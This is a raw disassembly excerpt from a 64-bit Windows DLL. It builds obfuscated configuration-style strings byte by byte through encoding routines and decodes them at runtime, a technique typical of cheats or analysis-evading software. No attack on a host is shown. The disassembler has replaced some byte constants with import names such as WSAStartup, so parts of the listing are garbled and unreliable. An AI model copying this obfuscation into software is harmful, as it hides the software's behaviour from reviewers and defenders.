call fcn.1800bfe70
mov byte [rsp + 0xcb9], al
mov cl, WSAStartup
call fcn.1800bfe70
mov byte [rsp + 0xcba], al
mov cl, 0x61
call fcn.1800bfe70
mov byte [rsp + 0xcbb], al
mov cl, 0x6b
call fcn.1800bfe70
mov byte [rsp + 0xcbc], al
mov cl, 0x65
call fcn.1800bfe70
mov byte [rsp + 0xcbd], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe70
mov byte [rsp + 0xcbe], al
xor ecx, ecx
call fcn.1800bfe70
mov byte [rsp + 0xcbf], al
movaps xmm0, xmmword [rsp + 0xcb0]
movdqa xmmword [rsp + 0x2630], xmm0
lea rax, [rsp + 0x2630]
mov qword [rsp + 0x4ac0], rax
lea rcx, [rsp + 0x3570]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x10]
lea rcx, [rsp + 0x3570]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x121c], esi
nop dword [rax]
cmp esi, 0x10
jge 0x1800815d0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2630]
call fcn.1800c0bc0
movzx ecx, byte [rax]
call fcn.1800bfe70
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3570]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x121c], esi
jmp 0x180081590
lea rcx, [rsp + 0x3570]
call fcn.18000ce90
mov qword [rsp + 0x23e0], rax
lea r8, [0x1801d1b0c]
lea rdx, [rsp + 0x23e0]
lea rcx, [rsp + 0x63d0]
call fcn.1800c3430
xorps xmm0, xmm0
movups xmmword [rsp + 0x2620], xmm0
mov cl, 0x63
call fcn.1800bfe60
mov byte [rsp + 0xce0], al
mov cl, 0x75
call fcn.1800bfe60
mov byte [rsp + 0xce1], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe60
mov byte [rsp + 0xce2], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe60
mov byte [rsp + 0xce3], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe60
mov byte [rsp + 0xce4], al
mov cl, 0x6d
call fcn.1800bfe60
mov byte [rsp + 0xce5], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe60
mov byte [rsp + 0xce6], al
mov cl, 0x3a
call fcn.1800bfe60
mov byte [rsp + 0xce7], al
mov cl, 0x3a
call fcn.1800bfe60
mov byte [rsp + 0xce8], al
mov cl, 0x65
call fcn.1800bfe60
mov byte [rsp + 0xce9], al
mov cl, WSAGetLastError
call fcn.1800bfe60
mov byte [rsp + 0xcea], al
mov cl, 0x67
call fcn.1800bfe60
mov byte [rsp + 0xceb], al
mov cl, 0x69
call fcn.1800bfe60
mov byte [rsp + 0xcec], al
mov cl, WSAGetLastError
call fcn.1800bfe60
mov byte [rsp + 0xced], al
mov cl, 0x65
call fcn.1800bfe60
mov byte [rsp + 0xcee], al
xor ecx, ecx
call fcn.1800bfe60
mov byte [rsp + 0xcef], al
movaps xmm0, xmmword [rsp + 0xce0]
movdqa xmmword [rsp + 0x2620], xmm0
lea rax, [rsp + 0x2620]
mov qword [rsp + 0x4ac8], rax
lea rcx, [rsp + 0x3550]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x10]
lea rcx, [rsp + 0x3550]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1300], esi
cmp esi, 0x10
jge 0x180081777
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2620]
call fcn.1800c0bc0
movzx ecx, byte [rax]
call fcn.1800bfe60
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3550]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1300], esi
jmp 0x180081737
lea rcx, [rsp + 0x3550]
call fcn.18000ce90
mov qword [rsp + 0x23d8], rax
lea r8, [0x1801d1b14]
lea rdx, [rsp + 0x23d8]
lea rcx, [rsp + 0x6400]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1928], xmm0
mov dword [rsp + 0x1938], eax
mov word [rsp + 0x193c], ax
mov cl, 0x63
call fcn.1800bfe40
mov byte [rsp + 0x128], al
mov cl, 0x75
call fcn.1800bfe40
mov byte [rsp + 0x129], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x12a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe40
mov byte [rsp + 0x12b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe40
mov byte [rsp + 0x12c], al
mov cl, 0x6d
call fcn.1800bfe40
mov byte [rsp + reloc.WLDAP32.dll_Ordinal_301], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x12e], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x12f], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x130], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe40
mov byte [rsp + 0x131], al
mov cl, WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x132], al
mov cl, 0x61
call fcn.1800bfe40
mov byte [rsp + 0x133], al
mov cl, WSAGetLastError
call fcn.1800bfe40
mov byte [rsp + 0x134], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x135], al
mov cl, 0x6d
call fcn.1800bfe40
mov byte [rsp + 0x136], al
mov cl, 0x69
call fcn.1800bfe40
mov byte [rsp + 0x137], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x138], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x139], al
mov cl, 0x69
call fcn.1800bfe40
mov byte [rsp + 0x13a], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe40
mov byte [rsp + 0x13b], al
mov cl, WSAGetLastError
call fcn.1800bfe40
mov byte [rsp + 0x13c], al
xor ecx, ecx
call fcn.1800bfe40
mov byte [rsp + 0x13d], al
movups xmm0, xmmword [rsp + 0x128]
movups xmmword [rsp + 0x1928], xmm0
mov eax, dword [rsp + 0x138]
mov dword [rsp + 0x1938], eax
movzx eax, word [rsp + 0x13c]
mov word [rsp + 0x193c], ax
lea rax, [rsp + 0x1928]
mov qword [rsp + 0x4ad0], rax
lea rcx, [rsp + 0x3530]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x3530]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1218], esi
cmp esi, 0x16
jge 0x1800819a0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1928]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bfe40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3530]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1218], esi
jmp 0x180081960
lea rcx, [rsp + 0x3530]
call fcn.18000ce90
mov qword [rsp + 0x23d0], rax
lea r8, [0x1801d1b10]
lea rdx, [rsp + 0x23d0]
lea rcx, [rsp + 0x6430]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2000], xmm0
mov dword [rsp + 0x2010], eax
mov cl, 0x63
call fcn.1800bfe50
mov byte [rsp + 0x8e8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe50
mov byte [rsp + 0x8e9], al
mov cl, 0x78
call fcn.1800bfe50
mov byte [rsp + 0x8ea], al
mov cl, 0x3a
call fcn.1800bfe50
mov byte [rsp + 0x8eb], al
mov cl, 0x3a
call fcn.1800bfe50
mov byte [rsp + 0x8ec], al
mov cl, 0x76
call fcn.1800bfe50
mov byte [rsp + 0x8ed], al
mov cl, 0x61
call fcn.1800bfe50
mov byte [rsp + 0x8ee], al
mov cl, WSAStartup
call fcn.1800bfe50
mov byte [rsp + 0x8ef], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe50
mov byte [rsp + 0x8f0], al
mov cl, 0x3a
call fcn.1800bfe50
mov byte [rsp + 0x8f1], al
mov cl, 0x3a
call fcn.1800bfe50
mov byte [rsp + 0x8f2], al
mov cl, 0x65
call fcn.1800bfe50
mov byte [rsp + 0x8f3], al
mov cl, 0x7a
call fcn.1800bfe50
mov byte [rsp + 0x8f4], al
mov cl, 0x5f
call fcn.1800bfe50
mov byte [rsp + 0x8f5], al
mov cl, 0x68
call fcn.1800bfe50
mov byte [rsp + 0x8f6], al
mov cl, 0x61
call fcn.1800bfe50
mov byte [rsp + 0x8f7], al
mov cl, WSAGetLastError
call fcn.1800bfe50
mov byte [rsp + 0x8f8], al
mov cl, 0x64
call fcn.1800bfe50
mov byte [rsp + 0x8f9], al
mov cl, 0x6c
call fcn.1800bfe50
mov byte [rsp + 0x8fa], al
xor ecx, ecx
call fcn.1800bfe50
mov byte [rsp + 0x8fb], al
movups xmm0, xmmword [rsp + 0x8e8]
movups xmmword [rsp + 0x2000], xmm0
mov eax, dword [rsp + 0x8f8]
mov dword [rsp + 0x2010], eax
lea rax, [rsp + 0x2000]
mov qword [rsp + 0x4ad8], rax
lea rcx, [rsp + 0x3510]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x3510]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1214], esi
cmp esi, 0x14
jge 0x180081b95
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2000]
call fcn.1800c0c20
movzx ecx, byte [rax]
call fcn.1800bfe50
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3510]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1214], esi
jmp 0x180081b55
lea rcx, [rsp + 0x3510]
call fcn.18000ce90
mov qword [rsp + 0x23c8], rax
lea r8, [0x1801eae82]
lea rdx, [rsp + 0x23c8]
lea rcx, [rsp + 0x6460]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e30], xmm0
mov qword [rsp + 0x1e40], rax
mov word [rsp + 0x1e48], ax
mov cl, 0x63
call fcn.1800bfe40
mov byte [rsp + 0x570], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe40
mov byte [rsp + 0x571], al
mov cl, 0x78
call fcn.1800bfe40
mov byte [rsp + 0x572], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x573], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x574], al
mov cl, 0x76
call fcn.1800bfe40
mov byte [rsp + 0x575], al
mov cl, 0x61
call fcn.1800bfe40
mov byte [rsp + 0x576], al
mov cl, WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x577], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x578], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x579], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x57a], al
mov cl, 0x63
call fcn.1800bfe40
mov byte [rsp + 0x57b], al
mov cl, 0x5f
call fcn.1800bfe40
mov byte [rsp + 0x57c], al
mov cl, 0x65
call fcn.1800bfe40
mov byte [rsp + 0x57d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x57e], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfe40
mov byte [rsp + 0x57f], al
mov cl, 0x5f
call fcn.1800bfe40
mov byte [rsp + 0x580], al
mov cl, 0x6d
call fcn.1800bfe40
mov byte [rsp + 0x581], al
mov cl, 0x61
call fcn.1800bfe40
mov byte [rsp + 0x582], al
mov cl, 0x78
call fcn.1800bfe40
mov byte [rsp + 0x583], al
mov cl, 0x5f
call fcn.1800bfe40
mov byte [rsp + 0x584], al
mov cl, 0x64
call fcn.1800bfe40
mov byte [rsp + 0x585], al
mov cl, 0x69
call fcn.1800bfe40
mov byte [rsp + 0x586], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x587], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe40
mov byte [rsp + 0x588], al
xor ecx, ecx
call fcn.1800bfe40
mov byte [rsp + 0x589], al
movups xmm0, xmmword [rsp + 0x570]
movups xmmword [rsp + 0x1e30], xmm0
movsd xmm1, qword [rsp + 0x580]
movsd qword [rsp + 0x1e40], xmm1
movzx eax, word [rsp + 0x588]
mov word [rsp + 0x1e48], ax
lea rax, [rsp + 0x1e30]
mov qword [rsp + 0x4ae0], rax
lea rcx, [rsp + 0x34f0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x34f0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1210], esi
nop dword [rax + rax]
cmp esi, 0x1a
jge 0x180081e00
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1e30]
call fcn.1800c0990
movzx ecx, byte [rax]
call fcn.1800bfe40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x34f0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1210], esi
jmp 0x180081dc0
lea rcx, [rsp + 0x34f0]
call fcn.18000ce90
mov qword [rsp + 0x23b8], rax
lea r8, [0x1801d1ac0]
lea rdx, [rsp + 0x23b8]
lea rcx, [rsp + 0x6490]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20b8], xmm0
mov qword [rsp + 0x20c8], rax
mov dword [rsp + 0x20d0], eax
mov cl, 0x63
call fcn.1800bfc20
mov byte [rsp + 0x720], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfc20
mov byte [rsp + 0x721], al
mov cl, 0x78
call fcn.1800bfc20
mov byte [rsp + 0x722], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0x723], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0x724], al
mov cl, 0x76
call fcn.1800bfc20
mov byte [rsp + 0x725], al
mov cl, 0x61
call fcn.1800bfc20
mov byte [rsp + 0x726], al
mov cl, WSAStartup
call fcn.1800bfc20
mov byte [rsp + 0x727], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfc20
mov byte [rsp + 0x728], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0x729], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0x72a], al
mov cl, 0x77
call fcn.1800bfc20
mov byte [rsp + 0x72b], al
mov cl, 0x65
call fcn.1800bfc20
mov byte [rsp + 0x72c], al
mov cl, 0x61
call fcn.1800bfc20
mov byte [rsp + 0x72d], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfc20
mov byte [rsp + 0x72e], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfc20
mov byte [rsp + 0x72f], al
mov cl, WSAGetLastError
call fcn.1800bfc20
mov byte [rsp + 0x730], al
mov cl, 0x5f
call fcn.1800bfc20
mov byte [rsp + 0x731], al
mov cl, WSAGetLastError
call fcn.1800bfc20
mov byte [rsp + 0x732], al
mov cl, 0x61
call fcn.1800bfc20
mov byte [rsp + 0x733], al
mov cl, 0x6d
call fcn.1800bfc20
mov byte [rsp + 0x734], al
mov cl, 0x65
call fcn.1800bfc20
mov byte [rsp + 0x735], al
mov cl, 0x5f
call fcn.1800bfc20
mov byte [rsp + 0x736], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfc20
mov byte [rsp + 0x737], al
mov cl, 0x79
call fcn.1800bfc20
mov byte [rsp + 0x738], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfc20
mov byte [rsp + 0x739], al
mov cl, 0x65
call fcn.1800bfc20
mov byte [rsp + 0x73a], al
xor ecx, ecx
call fcn.1800bfc20
mov byte [rsp + 0x73b], al
movups xmm0, xmmword [rsp + 0x720]
movups xmmword [rsp + 0x20b8], xmm0
movsd xmm1, qword [rsp + 0x730]
movsd qword [rsp + 0x20c8], xmm1
mov eax, dword [rsp + 0x738]
mov dword [rsp + 0x20d0], eax
lea rax, [rsp + 0x20b8]
mov qword [rsp + 0x4ae8], rax
lea rcx, [rsp + 0x34d0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1c]
lea rcx, [rsp + 0x34d0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x120c], esi
nop
cmp esi, 0x1c
jge 0x180082080
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x20b8]
call fcn.1800c09f0
movzx ecx, byte [rax]
call fcn.1800bfc20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x34d0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x120c], esi
jmp 0x180082040
lea rcx, [rsp + 0x34d0]
call fcn.18000ce90
mov qword [rsp + 0x23b0], rax
lea r8, [0x1801eaecc]
lea rdx, [rsp + 0x23b0]
lea rcx, [rsp + 0x64c0]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1910], xmm0
mov dword [rsp + 0x1920], eax
mov word [rsp + 0x1924], ax
mov cl, 0x63
call fcn.1800bfbe0
mov byte [rsp + 0x110], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfbe0
mov byte [rsp + 0x111], al
mov cl, 0x78
call fcn.1800bfbe0
mov byte [rsp + 0x112], al
mov cl, 0x3a
call fcn.1800bfbe0
mov byte [rsp + 0x113], al
mov cl, 0x3a
call fcn.1800bfbe0
mov byte [rsp + 0x114], al
mov cl, 0x76
call fcn.1800bfbe0
mov byte [rsp + 0x115], al
mov cl, 0x61
call fcn.1800bfbe0
mov byte [rsp + 0x116], al
mov cl, WSAStartup
call fcn.1800bfbe0
mov byte [rsp + 0x117], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfbe0
mov byte [rsp + 0x118], al
mov cl, 0x3a
call fcn.1800bfbe0
mov byte [rsp + 0x119], al
mov cl, 0x3a
call fcn.1800bfbe0
mov byte [rsp + 0x11a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfbe0
mov byte [rsp + 0x11b], al
mov cl, 0x65
call fcn.1800bfbe0
mov byte [rsp + 0x11c], al
mov cl, 0x78
call fcn.1800bfbe0
mov byte [rsp + 0x11d], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfbe0
mov byte [rsp + 0x11e], al
mov cl, 0x5f
call fcn.1800bfbe0
mov byte [rsp + 0x11f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfbe0
mov byte [rsp + 0x120], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfbe0
mov byte [rsp + 0x121], al
mov cl, 0x79
call fcn.1800bfbe0
mov byte [rsp + 0x122], al
mov cl, 0x6c
call fcn.1800bfbe0
mov byte [rsp + 0x123], al
mov cl, 0x65
call fcn.1800bfbe0
mov byte [rsp + 0x124], al
xor ecx, ecx
call fcn.1800bfbe0
mov byte [rsp + 0x125], al
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0x1910], xmm0
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0x1920], eax
movzx eax, word [rsp + 0x124]
mov word [rsp + 0x1924], ax
lea rax, [rsp + 0x1910]
mov qword [rsp + 0x4af0], rax
lea rcx, [rsp + 0x34b0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x34b0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1208], esi
nop dword [rax]
cmp esi, 0x16
jge 0x1800822b0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1910]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bfbe0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x34b0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1208], esi
jmp 0x180082270
lea rcx, [rsp + 0x34b0]
call fcn.18000ce90
mov qword [rsp + 0x23a8], rax
lea r8, [0x1801d1aec]
lea rdx, [rsp + 0x23a8]
lea rcx, [rsp + 0x64f0]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1808], xmm0
mov qword [rsp + 0x1818], rax
mov word [rsp + 0x1820], ax
mov byte [rsp + 0x1822], al
mov cl, 0x63
call fcn.1800bfe30
mov byte [rsp + 0x630], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe30
mov byte [rsp + 0x631], al
mov cl, 0x78
call fcn.1800bfe30
mov byte [rsp + 0x632], al
mov cl, 0x3a
call fcn.1800bfe30
mov byte [rsp + 0x633], al
mov cl, 0x3a
call fcn.1800bfe30
mov byte [rsp + 0x634], al
mov cl, 0x76
call fcn.1800bfe30
mov byte [rsp + 0x635], al
mov cl, 0x61
call fcn.1800bfe30
mov byte [rsp + 0x636], al
mov cl, WSAStartup
call fcn.1800bfe30
mov byte [rsp + 0x637], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe30
mov byte [rsp + 0x638], al
mov cl, 0x3a
call fcn.1800bfe30
mov byte [rsp + 0x639], al
mov cl, 0x3a
call fcn.1800bfe30
mov byte [rsp + 0x63a], al
mov cl, 0x68
call fcn.1800bfe30
mov byte [rsp + 0x63b], al
mov cl, 0x65
call fcn.1800bfe30
mov byte [rsp + 0x63c], al
mov cl, 0x61
call fcn.1800bfe30
mov byte [rsp + 0x63d], al
mov cl, 0x6c
call fcn.1800bfe30
mov byte [rsp + 0x63e], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe30
mov byte [rsp + 0x63f], al
mov cl, 0x68
call fcn.1800bfe30
mov byte [rsp + 0x640], al
mov cl, 0x5f
call fcn.1800bfe30
mov byte [rsp + 0x641], al
mov cl, 0x62
call fcn.1800bfe30
mov byte [rsp + 0x642], al
mov cl, 0x61
call fcn.1800bfe30
mov byte [rsp + 0x643], al
mov cl, WSAStartup
call fcn.1800bfe30
mov byte [rsp + 0x644], al
mov cl, 0x5f
call fcn.1800bfe30
mov byte [rsp + 0x645], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe30
mov byte [rsp + 0x646], al
mov cl, 0x79
call fcn.1800bfe30
mov byte [rsp + 0x647], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfe30
mov byte [rsp + 0x648], al
mov cl, 0x65
call fcn.1800bfe30
mov byte [rsp + 0x649], al
xor ecx, ecx
call fcn.1800bfe30
mov byte [rsp + 0x64a], al
movups xmm0, xmmword [rsp + 0x630]
movups xmmword [rsp + 0x1808], xmm0
movsd xmm1, qword [rsp + 0x640]
movsd qword [rsp + 0x1818], xmm1
movzx ecx, word [rsp + 0x648]
mov word [rsp + 0x1820], cx
mov byte [rsp + 0x1822], al
lea rax, [rsp + 0x1808]
mov qword [rsp + 0x4af8], rax
lea rcx, [rsp + 0x3490]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1b]
lea rcx, [rsp + 0x3490]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1204], esi
cmp esi, 0x1b
jge 0x180082532
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1808]
call fcn.1800c0a10
movzx ecx, byte [rax]
call fcn.1800bfe30
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3490]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1204], esi
jmp 0x1800824f2
lea rcx, [rsp + 0x3490]
call fcn.18000ce90
mov qword [rsp + 0x23a0], rax
lea r8, [0x1801eae74]
lea rdx, [rsp + 0x23a0]
lea rcx, [rsp + 0x6520]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1508], xmm0
mov dword [rsp + 0x1518], eax
mov word [rsp + 0x151c], ax
mov byte [rsp + 0x151e], al
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0x2a0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0x2a1], al
mov cl, 0x78
call fcn.1800bfe20
mov byte [rsp + 0x2a2], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x2a3], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x2a4], al
mov cl, 0x76
call fcn.1800bfe20
mov byte [rsp + 0x2a5], al
mov cl, 0x61
call fcn.1800bfe20
mov byte [rsp + 0x2a6], al
mov cl, WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0x2a7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0x2a8], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x2a9], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x2aa], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0x2ab], al
mov cl, 0x6d
call fcn.1800bfe20
mov byte [rsp + 0x2ac], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe20
mov byte [rsp + 0x2ad], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe20
mov byte [rsp + 0x2ae], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0x2af], al
mov cl, 0x68
call fcn.1800bfe20
mov byte [rsp + 0x2b0], al
mov cl, 0x5f
call fcn.1800bfe20
mov byte [rsp + 0x2b1], al
mov cl, 0x6d
call fcn.1800bfe20
mov byte [rsp + 0x2b2], al
mov cl, 0x75
call fcn.1800bfe20
mov byte [rsp + 0x2b3], al
mov cl, 0x6c
call fcn.1800bfe20
mov byte [rsp + 0x2b4], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0x2b5], al
xor ecx, ecx
call fcn.1800bfe20
mov byte [rsp + 0x2b6], al
movups xmm0, xmmword [rsp + 0x2a0]
movups xmmword [rsp + 0x1508], xmm0
mov ecx, dword [rsp + 0x2b0]
mov dword [rsp + 0x1518], ecx
movzx ecx, word [rsp + 0x2b4]
mov word [rsp + 0x151c], cx
mov byte [rsp + 0x151e], al
lea rax, [rsp + 0x1508]
mov qword [rsp + 0x4b00], rax
lea rcx, [rsp + 0x3470]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x3470]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1200], esi
cmp esi, 0x17
jge 0x180082777
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1508]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bfe20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3470]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1200], esi
jmp 0x180082737
lea rcx, [rsp + 0x3470]
call fcn.18000ce90
mov qword [rsp + 0x2398], rax
lea r8, [0x1801d1af8]
lea rdx, [rsp + 0x2398]
lea rcx, [rsp + 0x6550]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1fb0], xmm0
mov qword [rsp + 0x1fc0], rax
mov word [rsp + 0x1fc8], ax
mov cl, 0x63
call fcn.1800bfea0
mov byte [rsp + 0x410], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfea0
mov byte [rsp + 0x411], al
mov cl, 0x78
call fcn.1800bfea0
mov byte [rsp + 0x412], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x413], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x414], al
mov cl, 0x76
call fcn.1800bfea0
mov byte [rsp + 0x415], al
mov cl, 0x61
call fcn.1800bfea0
mov byte [rsp + 0x416], al
mov cl, WSAStartup
call fcn.1800bfea0
mov byte [rsp + 0x417], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfea0
mov byte [rsp + 0x418], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x419], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x41a], al
mov cl, 0x64
call fcn.1800bfea0
mov byte [rsp + 0x41b], al
mov cl, 0x69
call fcn.1800bfea0
mov byte [rsp + 0x41c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfea0
mov byte [rsp + 0x41d], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfea0
mov byte [rsp + 0x41e], al
mov cl, 0x61
call fcn.1800bfea0
mov byte [rsp + 0x41f], al
mov cl, WSAGetLastError
call fcn.1800bfea0
mov byte [rsp + 0x420], al
mov cl, 0x63
call fcn.1800bfea0
mov byte [rsp + 0x421], al
mov cl, 0x65
call fcn.1800bfea0
mov byte [rsp + 0x422], al
mov cl, 0x5f
call fcn.1800bfea0
mov byte [rsp + 0x423], al
mov cl, 0x6c
call fcn.1800bfea0
mov byte [rsp + 0x424], al
mov cl, 0x69
call fcn.1800bfea0
mov byte [rsp + 0x425], al
mov cl, 0x6d
call fcn.1800bfea0
mov byte [rsp + 0x426], al
mov cl, 0x69
call fcn.1800bfea0
mov byte [rsp + 0x427], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfea0
mov byte [rsp + 0x428], al
